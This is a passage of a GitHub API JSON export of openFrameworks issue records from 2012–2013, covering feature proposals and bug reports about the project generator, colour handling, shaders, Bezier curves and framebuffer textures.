download","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-01T20:15:17Z","updated_at":"2012-05-04T03:31:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This idea I had came up during the latest devmeet: \r\n\r\n*Proposal*\r\n\r\nI think it would be great if the PG would in the future offer automated downloading of addons. This would lower the barrier for people getting addons they want/need. Additionally, it would take away/reduce the need/desire to include popular addons in the OF core repo and/or release download, if addons are so easy to get, as part of a workflow we already envision the users to follow in the future (i.e. the PG)\r\n\r\n*Behaviour as it is now/soon:*\r\n\r\nAlice has an idea for a new project. She needs a couple addons for realising her project, and knows which ones. \r\nShe opens a browser to go to ofxaddons.com and/or github to download the addons if she doesn't have them yet and places them into `OF/addons/`. Alice starts the PG. The PG knows about the addons, and allows her to select them for inclusion. She creates a project and starts coding.\r\n\r\n*Desired/envisioned behaviour:*\r\n\r\nBob has an idea for a new project. He needs a couple addons for realising his project, and knows which ones. \r\nBob uses the new version of the PG to create a project. Beside the list of installed addons, the PG offers a dropdown list to select addons to download and place into the proper place. It lets Bob select if he prefers a plain download (to just use the addon), or a cloned git repo (to stay up-to-date and/or propose improvements to the addon author). Bob selects the desired addons to download, waits a while until PG reports that they're in place, and chooses all needed addons from the newly expanded list. He creates a project, and start coding the Next Big Thing, without even needing the browser! Awesome, right?\r\n\r\n*Analysis:*\r\n\r\nAlthough I realize that this is no trivial feature, I think much of what we need is already in place. \r\nPG knows about the repo structure, which addons are already there, etc., and has most of the file-manipulation logic already I think. \r\nofxaddons.com maintains a list of available addons and their locations, so I hope it's rather easy to present this in some machine-readable way for PG consumption (@obviousjim, thoughts?). \r\nWget/curl/git could take care of the download. \r\nofxGUI would have to be extended with a dropdown list, or some other way of (space)efficiently presenting the huge list of addons available.\r\n\r\nPossible issues: \r\nCross-platform way of downloading/git cloning without pulling to many dependencies (Elliot brought this up I think). Maybe have a fallback chain of mechanisms?\r\nAddon structure may not comply to what is expected (for old addons e.g.), so the project wouldn't work in the beginning. The same issue would appear on manual download, though.\r\n\r\n\r\nThoughts and Feedback, please. :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1232","id":4370619,"number":1232,"title":"bug/feature in ofColor::setSaturation ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":14,"created_at":"2012-05-01T17:40:08Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"should result in a gray circle, instead its white \r\n\r\n\tofColor c(255, 0, 0);\r\n\tc.setSaturation(0);\t\r\n\tofSetColor(c);\r\n\tofFill();\t\r\n\tofCircle(100,400,50);\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1229","id":4356530,"number":1229,"title":"pass matrices as uniforms with ofShader ","user":{"login":"Larsberg","id":346072,"avatar_url":"https://secure.gravatar.com/avatar/bb9a4f7c510339e9d7a447347dc263ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bb9a4f7c510339e9d7a447347dc263ba","url":"https://api.github.com/users/Larsberg","html_url":"https://github.com/Larsberg","followers_url":"https://api.github.com/users/Larsberg/followers","following_url":"https://api.github.com/users/Larsberg/following","gists_url":"https://api.github.com/users/Larsberg/gists{/gist_id}","starred_url":"https://api.github.com/users/Larsberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Larsberg/subscriptions","organizations_url":"https://api.github.com/users/Larsberg/orgs","repos_url":"https://api.github.com/users/Larsberg/repos","events_url":"https://api.github.com/users/Larsberg/events{/privacy}","received_events_url":"https://api.github.com/users/Larsberg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-04-30T19:49:38Z","updated_at":"2012-05-01T06:35:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"How do you feel about passing matrices to ofShader as a uniform?\r\n\r\nsomething like:\r\n\r\n\tvoid ofShader::setUniformMatrix4fv(const char* name, ofMatrix& matrix ) {\r\n\t\tif(bLoaded)\r\n\t\t\tglUniformMatrix4fv(getUniformLocation(name), 1, GL_FALSE, matrix.getPtr());\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","id":4269431,"number":1217,"title":"projectGenerator update doesn't respect existing project settings","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-04-24T21:03:44Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","id":4269359,"number":1215,"title":"projectGenerator sets incorrect path in Project.xcconfig","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-04-24T20:59:57Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","id":4231092,"number":1202,"title":"ofVideoPlayer etc needs ofColor access","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-04-22T18:42:58Z","updated_at":"2012-04-22T23:56:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","id":4207350,"number":1190,"title":"Bezier Shaders & Vector openGL rendering","user":{"login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","url":"https://api.github.com/users/microbians","html_url":"https://github.com/microbians","followers_url":"https://api.github.com/users/microbians/followers","following_url":"https://api.github.com/users/microbians/following","gists_url":"https://api.github.com/users/microbians/gists{/gist_id}","starred_url":"https://api.github.com/users/microbians/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/microbians/subscriptions","organizations_url":"https://api.github.com/users/microbians/orgs","repos_url":"https://api.github.com/users/microbians/repos","events_url":"https://api.github.com/users/microbians/events{/privacy}","received_events_url":"https://api.github.com/users/microbians/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-04-20T09:23:00Z","updated_at":"2013-02-04T20:49:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","id":4206982,"number":1189,"title":"ofSetCurveResolution + ofBezierVertex bug","user":{"login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","url":"https://api.github.com/users/microbians","html_url":"https://github.com/microbians","followers_url":"https://api.github.com/users/microbians/followers","following_url":"https://api.github.com/users/microbians/following","gists_url":"https://api.github.com/users/microbians/gists{/gist_id}","starred_url":"https://api.github.com/users/microbians/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/microbians/subscriptions","organizations_url":"https://api.github.com/users/microbians/orgs","repos_url":"https://api.github.com/users/microbians/repos","events_url":"https://api.github.com/users/microbians/events{/privacy}","received_events_url":"https://api.github.com/users/microbians/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2012-04-20T08:51:51Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","id":4174070,"number":1186,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","user":{"login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","url":"https://api.github.com/users/neilmendoza","html_url":"https://github.com/neilmendoza","followers_url":"https://api.github.com/users/neilmendoza/followers","following_url":"https://api.github.com/users/neilmendoza/following","gists_url":"https://api.github.com/users/neilmendoza/gists{/gist_id}","starred_url":"https://api.github.com/users/neilmendoza/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neilmendoza/subscriptions","organizations_url":"https://api.github.com/users/neilmendoza/orgs","repos_url":"https://api.github.com/users/neilmendoza/repos","events_url":"https://api.github.com/users/neilmendoza/events{/privacy}","received_events_url":"https://api.github.com/users/neilmendoza/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-04-18T15:08:32Z","updated_at":"2012-05-01T04:10:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","id":4132608,"number":1178,"title":"OpenGLES2 not 